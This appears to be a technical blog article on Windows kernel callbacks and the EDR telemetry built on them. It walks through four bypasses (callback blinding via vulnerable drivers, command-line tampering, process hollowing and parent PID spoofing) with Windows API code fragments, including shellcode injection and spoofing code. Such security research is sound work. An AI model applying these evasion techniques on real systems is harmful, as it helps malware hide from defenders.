<index> / <windows-internals> / kernel-callbacks
[ en | fr ]
┌───────────────────────┐
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
└───────────────────────┘
Kernel Callbacks
~ lululufr
CONTENTS
  0  what are kernel callbacks
  1  registration
  2  the notification — ps_create_notify_info
  3  bypass — callback blinding
  4  bypass — command-line tampering
  5  bypass — process hollowing
  6  bypass — parent pid spoofing
  7  conclusion

──[ 0. What Are Kernel Callbacks ]──

Kernel callbacks (a.k.a. kernel notification routines) are a mechanism built 
into the Windows kernel for security vendors. A kernel driver registers a
function, and the kernel fires it automatically when a specific system event
happens — process creation, thread creation, image load, registry write, etc. That's the foundation of modern EDR kernel telemetry. Wins over older approaches
(inline hooking, SSDT patching):
    - No kernel patching (KPP/PatchGuard blocks that anyway)
    - Microsoft-supported, stable across OS versions
    - Centrally managed by the kernel, no driver ordering issues
    - Rich context comes with each notification

A Callback Object is an internal kernel struct managing a list of registered 
routines for a given event type. EDRs have to register a separate callback per
event type they care about. Any gap is a potential blind spot.
Kernel callback object — internal structure
──[ 1. Registration ]──

To subscribe to process creation events, a driver calls:
    NTSTATUS PsSetCreateProcessNotifyRoutineEx(
        PCREATE_PROCESS_NOTIFY_ROUTINE_EX NotifyRoutine,
        BOOLEAN                           Remove
    );
NotifyRoutine — function to call on each event
    Remove        — FALSE to register, TRUE to unregister

Other common registration calls:
    PsSetCreateProcessNotifyRoutine   — process creation (older, less info)
    PsSetCreateThreadNotifyRoutine    — thread creation/deletion
    PsSetLoadImageNotifyRoutine       — executable / DLL image load
    CmRegisterCallback                — registry operations
    FltRegisterFilter                 — file system minifilter (see minifilters)
flowchart LR
    D[EDR Driver] -->|PsSetCreateProcessNotifyRoutineEx| K[Kernel]
    K -->|stores pointer| T[Callback Table]
    E[New Process] -->|triggers| T
    T -->|calls| R[EDR Routine]
    R -->|log / block| D
──[ 2. The Notification — PS_CREATE_NOTIFY_INFO ]──

When a process is created, the registered routine gets a pointer to 
PS_CREATE_NOTIFY_INFO:
    typedef struct _PS_CREATE_NOTIFY_INFO {
      SIZE_T           Size;
      union {
        ULONG Flags;
        struct {
          ULONG FileOpenNameAvailable : 1;
          ULONG IsSubsystemProcess    : 1;
          ULONG Reserved              : 30;
        };
      };
      HANDLE           ParentProcessId;
      CLIENT_ID        CreatingThreadId;
      FILE_OBJECT     *FileObject;
      PCUNICODE_STRING ImageFileName;
      PCUNICODE_STRING CommandLine;
      NTSTATUS         CreationStatus;
    } PS_CREATE_NOTIFY_INFO;
Key fields for detection:
    CommandLine       Full command-line string
    ImageFileName     Executable image path
    ParentProcessId   Parent's PID

An EDR can flag suspicious patterns:
    cmd.exe spawned by outlook.exe   — likely macro execution
    powershell.exe with an encoded -enc argument
    notepad.exe spawning a child process

A HANDLE in Windows is an opaque integer pointing to a kernel object without 
exposing its address. From a ParentProcessId, an EDR can open the parent,
inspect its memory, enumerate its own parent — building a full process tree.
──[ 3. Bypass — Callback Blinding ]──

The most direct bypass: find the kernel callback table and zero out the EDR's 
registered function pointer. Needs Ring 0 — in practice, via BYOVD (see the BYOVD article). Flow:
    1. Load a signed-but-vulnerable driver (BYOVD).
    2. Use its R/W primitives to scan kernel memory.
    3. Find the internal callback arrays for each notification type.
    4. For each slot, read the function pointer, resolve the driver name.
    5. If the driver looks like an EDR component, zero the entry.

The callback table entries are just an array of function pointers in kernel 
memory. With kernel write access, zeroing an entry pulls the EDR out of the
notification chain for good (until reboot). Notable bits from open-source BYOVD PoCs:
    GetPspNotifyRoutineArray()  — pattern-scans kernel memory for the
                                  callback array
    IsEDR()                    — checks if a driver name looks like a
                                  known EDR
    PrintAndClearCallBack()    — walks the array and zeros EDR entries

Callback tables targeted:
    CmRegisterCallback
    ObRegisterCallbacks
    PsSetCreateProcessNotifyRoutine
    PsSetCreateThreadNotifyRoutine
    PsSetLoadImageNotifyRoutine

──[ 4. Bypass — Command-Line Tampering ]──

EDRs lean heavily on CommandLine from PS_CREATE_NOTIFY_INFO to flag bad 
commands. This trick abuses the fact that the command line lives in user-mode
memory (PEB.ProcessParameters.CommandLine) before the kernel callback fires. Attack:
    1. Create a child process SUSPENDED with a benign command line. The
       process exists but can't run yet (CREATE_SUSPENDED flag).
        CreateProcessA(target, "benign args", ..., CREATE_SUSPENDED, ..., &pi);
Command-line tampering — process creation flow
2. Find the child's PEB address:
        NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, ...);
Driver loaded — EDR callback registered
3. Overwrite CommandLine in the child's PEB with the real malicious
       command line:
        WriteProcessMemory(pi.hProcess, cmdLineAddr, realCmd, realCmdLen, NULL);
Service start — sc start EDRtest
4. Resume:
        ResumeThread(pi.hThread);
Tampered process launched — fake command line seen by callback
DebugView output — callback log showing benign args
The kernel callback already fired at process creation with the fake benign 
command line. By the time the process actually runs, the PEB has the real
command line back. Constraints:
    - You need to control the parent
    - New command line has to be the same length or shorter than the
      placeholder (growing the buffer needs extra work)
Process confirmed — PID and real command line in memory
Cobalt Strike's fork-and-run uses a variant of this.
──[ 5. Bypass — Process Hollowing ]──

Process Hollowing replaces the code of a legitimate process with a payload. From 
the kernel callback's perspective, the callback fires with the legit image name
(notepad.exe), so static checks pass.
    1. Create the target process suspended (CREATE_SUSPENDED). The
       callback fires here — with the legit image and command line.
        CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, ...,
                       CREATE_SUSPENDED, ..., &pi);
2. Allocate RWX memory in the remote process:
        exec_mem = VirtualAllocEx(pi.hProcess, NULL, shellcodeSize,
                                  MEM_COMMIT | MEM_RESERVE,
                                  PAGE_EXECUTE_READWRITE);
3. Write the shellcode / payload:
        WriteProcessMemory(pi.hProcess, exec_mem, shellcode, shellcodeSize, NULL);
4. Resume via a remote thread pointing at the payload:
        CreateRemoteThread(pi.hProcess, NULL, 0,
                           (LPTHREAD_START_ROUTINE)exec_mem,
                           NULL, 0, NULL);
Shellcode injected into suspended notepad.exe
Donut payload generated — shellcode bytes ready
Process tree — reverse shell running under notepad.exe
Tree shows notepad.exe, the kernel callback reported a legit image, your 
injected code runs under that cover undetected.
Process hollowing — notepad.exe with cmd child in tree
──[ 6. Bypass — Parent PID Spoofing ]──

EDRs build a process tree from ParentProcessId values. A suspicious parent (Word 
→ PowerShell) trips behavioural rules. Spoof the parent ID, kill the rule. CreateProcessW takes an extended STARTUPINFOEX that lets you specify an
arbitrary parent handle via PROC_THREAD_ATTRIBUTE_PARENT_PROCESS.
    STARTUPINFOEXA si = { 0 };
    si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
    PROCESS_INFORMATION pi;
    SIZE_T size;

    // Open the target "parent" process (admin rights needed)
    HANDLE hFakeParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, targetPid);

    // Build the attribute list
    InitializeProcThreadAttributeList(NULL, 1, 0, &size);
    si.lpAttributeList = malloc(size);
    InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);

    // Set the spoofed parent
    UpdateProcThreadAttribute(si.lpAttributeList, 0,
        PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
        &hFakeParent, sizeof(HANDLE), NULL, NULL);

    // Launch the child — the kernel will record hFakeParent as its parent
    CreateProcessA(NULL, "notepad.exe", NULL, NULL, FALSE,
        EXTENDED_STARTUPINFO_PRESENT, NULL, NULL,
        &si.StartupInfo, &pi);
PID spoofing — process tree before spoof
PID spoofing — fake parent shown in tree
PID spoofing — EDR sees legitimate parent chain
The notepad.exe you spawn will show up in the process tree as a child of 
whatever owns targetPid, regardless of who really called.
──[ 7. Conclusion ]──

Kernel callbacks are the most robust telemetry mechanism Windows gives security 
vendors — robust because they don't need kernel patching and they pass rich
context. Bypassing them is harder than userland tricks:
    Callback blinding     needs Ring 0 (BYOVD)
    PEB/cmdline tampering needs control of the parent
    Process hollowing     visible to memory-scanning heuristics
    PID spoofing          visible if the EDR cross-checks parent handles

Modern EDRs combine several detection layers, so beating one callback type is 
rarely enough on its own. Knowing the full attack surface — and which callbacks
an EDR actually uses — is essential for both red and blue teams.